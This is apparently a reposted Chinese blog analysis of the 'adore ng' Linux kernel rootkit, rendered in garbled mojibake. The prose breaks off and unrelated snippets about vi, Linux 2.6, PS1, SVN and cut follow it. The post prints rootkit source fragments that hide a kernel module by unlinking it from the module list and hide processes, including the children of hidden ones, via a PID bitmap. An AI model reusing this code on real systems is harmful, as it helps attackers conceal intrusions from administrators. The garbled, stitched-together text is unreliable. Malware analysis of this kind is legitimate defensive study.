Á½¸ölinuxÄÚºËrootkit Ö®¶þ£ºadore ng
ת×Ô£ºhttp://blog.csdn.net/dog250/archive/2010/02/09/5303688.aspx
Õâ¸örootkitʹÓõļ¼Êõ²»±Èǰһ¸ö£¬Ëü²»ÊÇÀ¹½ØÏµÍ³µ÷Ó㬶øÊÇÀ¹½Ø¾ßÌåÎļþϵͳµÄ»Øµ÷º¯Êý£¬±¾ÉíÎļþϵͳµÄ»Øµ÷º¯Êý¾ÍÊǶ¯Ì¬×¢²áµÄ£¬ºÜÊDz»È·¶¨£¬ÄÇô·´ºÚÈí¼þ×ÔÈ»¾Í²»Äܼòµ¥Ï½áÂÛ˵Õâ¸öº¯Êý±»ºÚµôÁË£¬Òò´ËÕâ¸örootkit¿´À´±Èǰһ¸öÂÔʤһ³ï£¬×ÔÈ»µÄ£¬¼ÈÈ»ÊÇÄÚºËÄ£¿é£¬ÄÇôģ¿éÒþ²ØÒ²ÊÇÒ»¸öÖØÒªµÄÄÚÈÝ£¬ÒÔÏÂÊÇÒ»¸ö¼òµ¥µÄÄ£¿éÒþ²Ø´úÂ룬ʹÓô˴úÂëµÄǰÌá¾ÍÊǽ«´ËÄ£¿é½ô½Ó×ÅÏ£Íû±»Òþ²ØµÄÄ£¿éÖ®ºó¼ÓÔØ£º
...//Ê¡ÂÔÍ·Îļþ
int init_module()
{
if (__this_module.next) //Õâ¸öÂß¼ºÜ¼òµ¥£¬ÓÉÓÚ±»Òþ²ØµÄÄ£¿éÔÚÕâ¸öÄ£¿é֮ǰ¼ÓÔØ£¬ÄÇô֮ÐèÒª¸ü¸Ä¸ÃÄ£¿éµÄnextÖ¸Õë¼´¿É
__this_module.next = __this_module.next->next;
return 0;
}
...//Ê¡ÂÔ
¸ÃrootkitµÄµÚÒ»²½¾ÍÊÇÓÃËùÓеĽø³Ì¹¹½¨Ò»¸öλͼhidden_procs£¬Èç¹ûÄĸö½ø³ÌÐèÒªÒþ²Ø£¬ÄÇô¾Í½«¸Ã½ø³ÌµÄpidËùÔÚµÄλÖÃÖÃ1£¬·´Ö®ÖÃ0
inline void hide_proc(pid_t x)
{
if (x >= PID_MAX || x == 1)
return;
hidden_procs[x/8] |= 1<<(x%8);
}
inline void unhide_proc(pid_t x)
{
if (x >= PID_MAX)
return;
hidden_procs[x/8] &= ~(1<<(x%8));
}
ÒÔÏÂÕâ¸öº¯Êýʵ¼ÊÉϺͱ¾rootkitÎ޹أ¬½ö½öÊÇÒ»¸ö°ïÖúº¯Êý£¬µ«ÊÇ»¹ÊÇÁгöÀ´ÁË£¬¸Ãº¯ÊýµÄÒâÒåÔÚÓÚ½«Ò»¸ö×Ö·û´®×ª»¯ÎªÒ»¸öÊý×Ö
int adore_atoi(const char *str)
{
int ret = 0, mul = 1;
const char *ptr;
for (ptr = str; *ptr >= '0' && *ptr <= '9'; ptr++) ;
ptr--;
while (ptr >= str) {
if (*ptr < '0' || *ptr > '9')
break;
ret += (*ptr - '0') * mul;
mul *= 10;
ptr--;
}
return ret;
}
ÒÔϺ¯ÊýÅжÏÒ»¸ö½ø³ÌÊÇ·ñ±»Òþ²Ø£¬ÆäʵºÜ¼òµ¥£¬¼òµ¥µÄ˵Èç¹ûλͼÉϸýø³ÌµÄpid¶ÔÓ¦µÄλÖÃÊÇ1£¬ÄÇô¾Í¸ÃÒþ²Ø£¬·´Ö®¾Í²»¸Ã±»Òþ²Ø£¬ÁíÍ⻹ÓÐÒ»¸ö²ßÂÔ£¬¾ÍÊÇÒþ²Ø½ø³ÌµÄ×Ó½ø³ÌÒ²Ó¦¸Ã±»Òþ²Ø£º
int should_be_hidden(pid_t pid)
{
struct task_struct *p = NULL;
if (is_invisible(pid)) {
return 1;
}
p = adore_find_task(pid);
if (!p)
return 0;
task_lock(p);
if (is_invisible(p->parent->pid)) {
task_unlock(p);
hide_proc(pid);
return 1;
}
task_unlock(p);
return 0;
}
²é¿´½ø³ÌµÄpsÃüÁîÖ÷ÒªÊDZéÀú/procÎļþϵͳµÄ¸ùĿ¼£¬Ö»ÒªÊÇÊý×ÖµÄÄÇô¾Í±»ÊÓΪһ¸ö½ø³ÌµÄpid£¬¸ÃrootkitÒþ²Ø½ø
Ïà¹ØÎĵµ£º
vi±à¼Æ÷ÊÇËùÓÐUnix¼°Linuxϵͳϱê×¼µÄ±à¼Æ÷
£¬
ËüµÄÇ¿´ó²»Ñ·É«ÓÚÈκÎ×îеÄÎı¾±à¼Æ÷£¬ÕâÀïÖ»ÊǼòµ¥µØ½éÉÜÒ»ÏÂËüµÄÓ÷¨ºÍһС²¿·ÖÖ¸Áî¡£ÓÉÓÚ¶ÔUnix¼°LinuxϵͳµÄÈκΰ汾£¬vi±à¼Æ÷ÊÇÍêÈ«Ïà
ͬµÄ£¬Òò´ËÄú¿ÉÒÔÔÚÆäËûÈκνéÉÜviµÄµØ·½½øÒ»²½Á˽âËü¡£ViÒ²ÊÇLinuxÖÐ×î»ù±¾µÄÎı¾±à¼Æ÷£¬Ñ§»áËüºó£¬Äú½«ÔÚLinuxµÄÊÀ½çÀﳩ ......
Ëæ×ÅLinux2.6µÄ·¢²¼£¬ÓÉÓÚ2.6ÄÚºË×öÁ˽̵ĸ͝£¬¸÷¸öÉ豸µÄÇý¶¯³ÌÐòÔÚ²»Í¬³Ì¶ÈÉÏÒª
½øÐиÄд¡£ÎªÁË·½±ã¸÷λLinux°®ºÃÕßÎÒ°Ñ×Ô¼ºÕû
ÀíµÄÕâ·ÖÎĵµshare³öÀ´¡£¸ÃÎĵ±ÁоÙ
ÁË2.6ÄÚºËͬÒÔǰ°æ±¾µÄ¾ø´ó¶àÊý±ä»¯£¬¿ÉϧµÄÊÇÓÉÓÚʱ¼äºÍ¾«Á¦ÓÐÏÞûÓÐÏêϸÁгö¸÷¸ö
º¯ÊýµÄÓÃ
·¨¡£
ÌØ±ðÉùÃ÷£º¸ÃÎĵµÖеÄÄÚÈÝÀ´×Ôhttp://lwn.net£¬¸Ã ......
Ìáʾ·ûͨ¹ý±äÁ¿PS1À´ÉèÖ㬿ÉÒÔÓÃÒÔÏÂÃüÁîÀ´ÏÔʾµ±Ç°ÉèÖãº
echo $PS1
Ìáʾ·ûµÄϵͳ·¶Î§£¨¶ÔϵͳÀïËùÓÐÓû§ÓÐЧ£©µÄÉ趨ÔÚÎļþ /etc/bashrcÀ¿ÉÄܰüº¬ÒÔϵÄÐУº
PS=“[\u@\h \W]\$"
Òª¶¨ÖÆÌáʾ·û£¬ÎÒÃÇ¿ÉÒÔ±à¼Îļþ /etc/bashrc £¨rootÓû§£©È»ºóÔÚÁ½¸öÒýºÅÖ®ÄÚÊäÈëÈκÎÄãÏëÒªµÄÎı¾¡£
½«[\u@\h \W]\\$ÐÞ¸ÄΪ[ ......
Linux ϳ£ÓÃµÄ SVN ÃüÁî
1¡¢½«Îļþcheckoutµ½±¾µØÄ¿Â¼
svn checkout path£¨pathÊÇ·þÎñÆ÷ÉϵÄĿ¼£©
ÀýÈ磺svn checkout svn://192.168.1.1/pro/domain
¼òд£ºsvn co
2¡¢Íù°æ±¾¿âÖÐÌí¼ÓеÄÎļþ
svn add file
ÀýÈ磺svn add test.php(Ìí¼Ótest.php)
svn add *.php(Ìí¼Óµ±Ç°Ä¿Â¼ÏÂËùÓеÄphpÎļþ)
3 ......
Ò»¸ö·Ç³£ÓÐÓõÄÃüÁÖ÷ÒªÓÃÀ´ÌáÈ¡¸÷ÖÖ¸÷ÑùµÄÊý¾Ý¡£
cut -cchars file
È磺
-c5 ÌáÈ¡µÚ5¸ö×Ö·û
-c5- ÌáÈ¡µÚ5¸ö×Ö·ûÒÔºóµÄ×Ö·û
-c1,5,12 ÌáÈ¡¶à¸ö×Ö·û£¬Ö ......